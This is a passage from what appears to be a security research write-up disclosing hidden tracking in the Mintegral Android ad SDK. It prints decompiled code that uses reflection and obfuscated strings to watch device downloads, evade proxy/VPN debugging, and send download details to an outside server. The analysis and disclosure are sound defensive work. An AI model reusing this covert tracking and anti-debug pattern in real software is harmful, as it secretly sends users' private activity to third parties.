2Class alphab_receiver_cls = Class.forName("android.content.BroadcastReceiver");
3Class intent_filter_cls = Class.forName("android.content.IntentFilter");
4Object intent_inst = intent_filter_cls.newInstance();
5Method method = IntentFilter.class.getMethod("addAction", String.class);
6method.invoke(intent_inst, "alphab_net_debug_action");
7method.invoke(intent_inst, "android.intent.action.PACKAGE_ADDED");
8Context.class.getMethod("registerReceiver", alphab_receiver_cls, intent_filter_cls)
9.invoke(context, alphab_receiver, intent_inst);
We can see that with use of the Java Reflection API, a new broadcast receiver is created that listens for two types of intents:
android.intent.action.PACKAGE_ADDED
- a system wide intent that triggers when a package is being installed on the device.alphab_net_debug_action
- a custom intent that appears to detect network debugging.
Upon receiving the intent, the AlphabReceiver
class constructs a ParseAndLoad()
method:
1public final class ParseAndLoad {
2
3 /* renamed from: a */ private Intent f89a;
4
5 public ParseAndLoad(Intent intent) {
6 this.f89a = intent;
7 if (AlphaCommonConst.C0000a.ACTION_NET_DEBUG.equals(intent.getAction())) {
8 AlphaCommonConst.is_net_debug = true;
9 }
10 }
11}
This field is later on used in a condition:
1public final void mo40a() {
2 boolean z = true;
3 try {
4 AlphabImpl.m61c(AlphabImpl.this);
5 com.mintegral.msdk.base.b.b.a(i.a(AlphabImpl.this.f64b)).c();
6 if (com.mintegral.msdk.base.b.b.a(i.a(AlphabImpl.this.f64b)).a(this.f82c)) {
7 g.b(AlphabImpl.f62a, "did in database " + this.f82c);
8 } else if (AlphabImpl.this.f64b != null) {
9 Context a = AlphabImpl.this.f64b;
10 if (!AlphaCommonConst.is_net_debug && (NetUtils.is_proxy_enabled(a) || NetUtils.is_vpn_enabled())) {
11 z = false;
12 }
13 if (z) {
14 g.b(AlphabImpl.f62a, "insert did" + this.f82c);
15 com.mintegral.msdk.base.b.b.a(i.a(AlphabImpl.this.f64b)).a(this.f82c, this.f81b);
16 AlphabImpl.m56a(AlphabImpl.this, this.f82c);
17 }
18 }
19 } catch (Exception e) {
20 if (MIntegralConstans.DEBUG) {
21 e.printStackTrace();
22 }
23 }
24 }
Decompiling the two other methods in that if clause reveals that they check if the current network connection passes through a wifi proxy or a vpn client. These are meant to prevent debugging the app and sniffing its traffic. This intent allows the developers of the SDK to bypass this anti-debug functionality.
Alphab observer
In a similar fashion, this ContentObserver’s initialization block is also hidden within reflection and obfuscated strings:
1C0014a aVar = new C0014a(this.f70i);
2Object invoke = Context.class.getMethod(AlphaCommonConst.C0001b.f6a, new Class[0]).invoke(context, new Object[0]);
3Class cls3 = Class.forName(AlphaCommonConst.C0001b.f7b);
4 Class cls4 = Class.forName(AlphaCommonConst.C0001b.f8c); Class.forName(AlphaCommonConst.C0001b.f9d).getMethod(AlphaCommonConst.C0001b.f10e, cls3, Boolean.TYPE, cls4).invoke(invoke, Uri.parse(AlphabBase64Util.m1b("asx6f3H6foh4FsJ4fsLzYscKrM==")), true, aVar);
After cleanup we get the following:
1AlpahbObserver observer = new AlpahbObserver(handler);
2Object contentResolverObject = Context.class.getMethod(AlphaCommonConst.REFLECT.GETCONTENTRESOLVER).invoke(context);
3Class uriClass = Class.forName(AlphaCommonConst.REFLECT.URI_CLASS);
4Class contentObserver = Class.forName(AlphaCommonConst.REFLECT.CONTENTOBSERVER_CLASS);
5Class contentResolver = Class.forName(AlphaCommonConst.REFLECT.CONTENTRESOLVER_CLASS).getMethod(AlphaCommonConst.REFLECT.REGISTERCONTENTOBSERVER, uriClass, boolean.class, contentObserver)
6.invoke(contentResolverObject, Uri.parse(AlphabBase64Util.newBase64Decode(uriDownload)), true, observer);
This means that the content observer is registered to listen to the content://downloads uri and triggers whenever a file is downloaded to the device.
It will query the Android download manager for public downloads:
1cursor = aVar.f64b.getContentResolver().query(Uri.parse(AlphabBase64Util.m1b("asx6f3H6foh4FsJ4fsLzYscKr2xMfEnzQEbm73xyY0q4aEJgFM==") + str), null, null, null, null);
and upon decoding the string we’ll get the following:
1cursor = aVar.f64b.getContentResolver()
2.query(Uri.parse("content://downloads/public_downloads" + str), null, null, null, null);
If the download URL meets any of the following conditions, a report to https://n.systemlog.met/stlog will be generated:
Ends with
apk
- for manual downloads.Refers to a package that belongs to
com.android.vending
or the url contains google.com - will catch any Google app or even browser url matching the condition.
Below is the code snippet that sends the request to the https://n.systemlog.met/stlog server.
1else if (message.what == AlphabReqImpl.this.f23d && (eVar = new SCReq(AlphabReqImpl.this.f20a)) != null) {
2 g.a("AlphabReqImpl", "setting is request");
3 eVar.b(0, AlphaCommonConst.f0a, AlphabReqImpl.this.f25f, AlphabReqImpl.this.f26g);
4 }
which equals to:
1else if (message.what == AlphabReqImpl.this.f23d && (req = new SCReq(AlphabReqImpl.this.f20a)) != null) {
2 g.a("AlphabReqImpl", "setting is request");
3 req.send(0, "http://n.systemlog.me/stlog", AlphabReqImpl.this.f25f, AlphabReqImpl.this.f26g);
"And here we can see the parameters that we saw in the captured request in our example:
1static /* synthetic */ void m26a(ReqPKGAndReportManager dVar, String str, String str2, List list, String str3, String str4) {
2 try {
3 if (TextUtils.isEmpty(str2)) {
4 str2 = "";
5 }
6 if (TextUtils.isEmpty(str)) {
7 str = "";
8 }
9 JSONArray jSONArray = new JSONArray();
10 JSONObject jSONObject = new JSONObject();
11 if (jSONObject != null) {
12 try {
13 jSONObject.put("p", str);
14 jSONObject.put("v", str2);
15 JSONArray jSONArray2 = new JSONArray();
16 if (list != null && list.size() >= 0) {
17 for (int i = 0; i < list.size(); i++) {
18 jSONArray2.put(list.get(i));
19 }
20 }
21 jSONObject.put("ul", jSONArray2);
22 jSONObject.put("kw", str3);
23 jSONObject.put("fl", str4);
24 } catch (Throwable th) {
25 if (MIntegralConstans.DEBUG) {
26 th.printStackTrace();
27 }
28 }
29 }
30 jSONArray.put(jSONObject);
31 String b = com.mintegral.msdk.base.utils.a.b(jSONArray.toString());
32 dVar.f40i = new c();
33 if (!(dVar.f40i == null || dVar.f20a == null)) {
34 dVar.f40i.a("clever", b);
35 }
36 dVar.mo10a(dVar.f40i);
p
- downloading package name i.e. the appv
- app versionul
- downloaded file’s urlkw
- downloaded filenamefl
- file size
Demo app
In order to demonstrate the behavior, we created a demo app that allowed us to:
1. Enable net debug flag with reflection to bypass anti-debug logic
1buttonIsNetDebug.setOnClickListener(new View.OnClickListener() {
2 @Override
3 public void onClick(View v) {
4 try {
5 Class AlphaCommonConst = Class.forName("com.alphab.a");
6 AlphaCommonConst.getDeclaredField("d").set(null, true);
7 } catch (Exception e) {
8 e.printStackTrace();
9 }
10 }
11});
2. Download a file from a url that contains google.com
1buttonDownloadGoogleLogo.setOnClickListener(new View.OnClickListener() {
2 @Override
3 public void onClick(View v) {
4 Uri uri = Uri.parse("https://images.google.com/images/branding/googlelogo/1x/googlelogo_color_272x92dp.png");
5 DownloadManager.Request request = new DownloadManager.Request(uri);
6 request.setDestinationInExternalPublicDir(Environment.DIRECTORY_DOWNLOADS, "googlelogo_color_272x92dp.png");
7 request.setNotificationVisibility(DownloadManager.Request.VISIBILITY_VISIBLE_NOTIFY_ONLY_COMPLETION);
8 DownloadManager manager = (DownloadManager) getSystemService(DOWNLOAD_SERVICE);
9 manager.enqueue(request);
10 }
11});
3. Download a file from a url that ends with apk
1buttonDownloadApk.setOnClickListener(new View.OnClickListener() {
2 @Override
3 public void onClick(View v) {
4 Uri uri = Uri.parse("https://storage.evozi.com/apk/dl/16/09/04/com.shazam.android_1004300.apk?f=google.com");
5 DownloadManager.Request request = new DownloadManager.Request(uri);
6 request.setDestinationInExternalPublicDir(Environment.DIRECTORY_DOWNLOADS, "com.shazam.android_1004300.apk");
7 request.setNotificationVisibility(DownloadManager.Request.VISIBILITY_VISIBLE_NOTIFY_ONLY_COMPLETION);
8 DownloadManager manager = (DownloadManager) getSystemService(DOWNLOAD_SERVICE);
9 manager.enqueue(request);
10 }
11});
"We captured the outbound requests with an http proxy. After clicking one of the download buttons, we can see a request being made to the server’s endpoint:
Here’s a video demonstrating the tracking behavior:
Timeline
Date | Research Event |
---|---|
Aug 5 | Snyk research team identifies that Mintegral iOS SDK performs excessive data collection and click hijacking |
Aug 17 | Snyk responsibly discloses the findings to Apple |
Aug 24 | Snyk publishes Sour Mint iOS findings |
Aug 25 | Mintegral releases statement denying SDK allegations |
Sept 3 | IronSource announced the removal of Mintegral from their mediation platform |
Sept 3 | Mintegral releases version 6.5.0.0 of iOS SDK, removing the malicious and hidden _CXX_CXX_OperationPKTask component |
Sept 4 | MoPub (Twitter) Mediation Platform announced the decertification of Mintegral from their platform |
Sept 4 | Mintegral announced their plans to open source their SDK |
Sept 4 | Snyk research team identified hidden downloads tracking functionality in Android version of the SDK |
Sept 9 | Snyk responsibly discloses the Android SDK findings to Google |
Sept 10 | Mintegral releases version 6.6.0.0 of the iOS SDK, removing MTGRemoteCommandParser backdoor component |
Sept 22 | Snyk get’s the source code version 6.6.0.0 of the iOS SDK and performs diff analysis |
Sept 23 | Snyk identifies that Mintegral has removed the Google download tracking module from its Android SDK |
Sept 30 | Through diff analysis Snyk identifies a backdoor in iOS version of the SDK allowing for RCE |
Oct 2 | Snyk responsibly discloses new iOS findings to Apple |
Oct 3 | Apple notifies affected publishers asking to remove the code allowing for RCE |
Oct 15 | Snyk publishes latest iOS and Android findings |